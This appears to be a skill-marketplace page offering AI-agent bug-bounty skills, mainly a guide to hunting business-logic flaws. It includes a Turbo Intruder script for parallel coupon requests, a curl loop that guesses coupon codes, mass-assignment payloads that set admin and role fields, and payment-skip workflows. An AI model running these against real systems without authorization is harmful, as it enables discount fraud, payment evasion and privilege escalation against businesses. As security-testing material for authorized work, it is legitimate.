Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.
中文简介正在准备中。当前显示原文说明。
实测评分 未实测
查看安装方法安装前可以查看交给 AI 代理的指令内容。
No scanner finds these. They pay the most.
Trigger phrases:
A flaw where the technology is correct but the business intent is violated:
Time of check ≠ Time of use:
1. Check: "user has 1 coupon left" → true
2. Use: "decrement coupon, apply discount"
If you fire 50 parallel requests at step 1+2:
- All 50 checks see "1 left" simultaneously
- All 50 uses apply the discount
- One coupon → 50 uses
Apply to:
{"quantity": -5, "price": 10}
→ total = -50
→ "refund" or "free + credit"
Test every numeric input:
page=-1)limit=-1)0.1 + 0.2 = 0.30000000000000004 in IEEE-754
"price * quantity * 0.7" tax calc → rounding errors
# Try: price = 0.01, quantity = 100000 → total = 999.99 or 1000?
{"amount": 9999999999999999999} ← overflow signed int → negative
{"page": 2147483647 + 1} ← INT_MAX + 1 = negative
Normal flow:
cart → checkout → payment → confirmation → order_created
Bypass:
cart → POST /api/order/create directly → order_created (skip payment)
OR:
cart → checkout → cancel → confirmation (skip payment by canceling mid-flow)
cart → POST /confirmation with order_id from old order
exp)[[graphql]])[[idor-hunting]])POST /api/user/update
{
"name": "new name",
"email": "new@x.com",
"role": "admin", ← shouldn't be settable
"is_verified": true,
"tenant_id": 1, ← shouldn't be changeable
"credits": 1000000,
"stripe_customer_id": "cus_X"
}
Test every endpoint: throw a fuzzy field list at it.
Sign up, buy something, use a coupon, request a refund. Note every state transition and what triggers it.
Draw the flows. Identify:
For each transition A → B:
Use Burp Repeater + Send group in parallel (Burp 2023+) or Turbo Intruder.
# turbo_intruder example
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=1,
engine=Engine.THREADED
)
# Submit 30 identical coupon-apply requests in parallel
for i in range(30):
engine.queue(target.req)
def handleResponse(req, interesting):
table.add(req)
Burp's "Send group in parallel" (last-byte sync) does this natively now.
For every numeric parameter:
0, -1, -2147483648, 2147483647, 9999999999999999999, 0.0001, 1e10, NaN, Infinity, "1", "1.0", true, false, null, [], {}, " "
Capture an update endpoint. Add common admin-only fields:
{
...,
"role": "admin",
"isAdmin": true,
"is_admin": true,
"admin": true,
"permissions": ["*", "admin"],
"verified": true,
"email_verified": true,
"phone_verified": true,
"tenant_id": "other-tenant",
"stripe_customer_id": "cus_OTHER",
"credit_balance": 999999,
"subscription_tier": "enterprise",
"is_internal": true,
"is_staff": true,
"groups": ["admins"]
}
If server silently accepts → mass assignment.
# Guess coupon codes
COUPONS=(
SAVE10 SAVE20 SAVE50 SAVE100
BLACKFRIDAY CYBERMONDAY HOLIDAY2026
WELCOME WELCOME10 NEWUSER FIRSTBUY
FREESHIP FREE
ADMIN STAFF EMPLOYEE INTERNAL
TEST DEBUG
REFER100 REFERRAL
{company-name}-launch
)
for code in "${COUPONS[@]}"; do
curl -s -X POST "https://target.com/api/cart/apply-coupon" \
-H "Content-Type: application/json" \
-d "{\"code\":\"$code\"}"
done | grep -i 'applied\|success\|discount'
# turbo intruder (Burp extension) — for HTTP-based races
# nuclei race templates — for known patterns
# Hyper-parallel via http2 in Burp (last-byte sync)
# Send 100 requests with all bytes pre-sent except last bytes
# All servers respond near-simultaneously → race window
# h2c smuggling for races on HTTP/2 backends
## High: Race condition on coupon application — single-use coupon redeemed 30+ times
### Summary
The `/api/cart/apply-coupon` endpoint validates coupon-usage count before incrementing, allowing a Time-of-Check/Time-of-Use (TOCTOU) race. Sending 30 parallel requests with the same single-use coupon results in 30 successful applications, granting 30× the discount.
### Steps to reproduce
1. Log in as any user
2. Add an item to cart
3. Apply a coupon via UI to obtain a single-use code (e.g., "WELCOME20")
4. Capture the request:
```http
POST /api/cart/apply-coupon HTTP/1.1
Host: app.target.com
Cookie: session=USER_SESSION
Content-Type: application/json
Content-Length: 30
{"coupon": "WELCOME20"}
200 OK with "applied": true
## Cross-references
- `[[idor-hunting]]` — IDOR + logic = often critical
- `[[ato-chains]]` — many ATOs are logic flaws
- `[[graphql]]` — GraphQL batching = built-in race
- `[[oauth-oidc]]` — auth flow races
## Common pitfalls
1. **Reporting "I clicked refund twice" without proving timing.** Use turbo intruder / parallel requests.
2. **Negative-quantity reports without final payment proof.** Show the actual money/refund movement.
3. **Workflow bypass without showing the "intended" workflow first.** Triage doesn't know your app.
4. **Mass assignment that doesn't actually privesc.** Verify the role change took effect on subsequent requests.
5. **"Coupon stacking" that's only client-side.** Server-side validation may catch it; verify server accepts.
## Severity guide
| Logic flaw | Typical bounty |
|---|---|
| Coupon abuse (full discount stacking) | High ($1k-5k) |
| Negative price / amount → refund | High ($1k-10k) depending on real-money impact |
| Race condition giving 2x of a single-use action | Medium-High ($500-3k) |
| Mass assignment → role privesc | Critical ($3k-15k) |
| Workflow bypass (skip payment) | Critical ($5k-30k) |
| Tier upgrade without payment | High-Critical ($2k-10k) |
## Pro tips
- **Sign up for the free tier.** Most logic bugs are in the upgrade / payment flow.
- **Use a real card with declines.** Some bugs only appear on failed payments.
- **Diff API responses across user roles.** Admin endpoints called by user with logic flaw.
- **Read disclosed reports for your target's competitors.** Same SaaS pattern → similar bugs.
- **Watch the "feature releases" page.** New features = new logic = new bugs.
还没有评价。欢迎分享你的使用感受。
无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。
还没有评论。来写第一条吧。
Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.
中文简介正在准备中。当前显示原文说明。
Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.
中文简介正在准备中。当前显示原文说明。
Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.
中文简介正在准备中。当前显示原文说明。
Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.
中文简介正在准备中。当前显示原文说明。
Hunt cloud misconfigurations exposed externally — open S3/GCS buckets, exposed IAM-tied EC2 metadata, Cognito misconfig, GitHub Actions secret leakage, exposed Kubernetes API, public Elastic / Kibana / Mongo, Firebase RTDB rules, weak AWS access keys discovered in JS/mobile. Use when leveraging leaked credentials or hunting cloud surface in scope.
中文简介正在准备中。当前显示原文说明。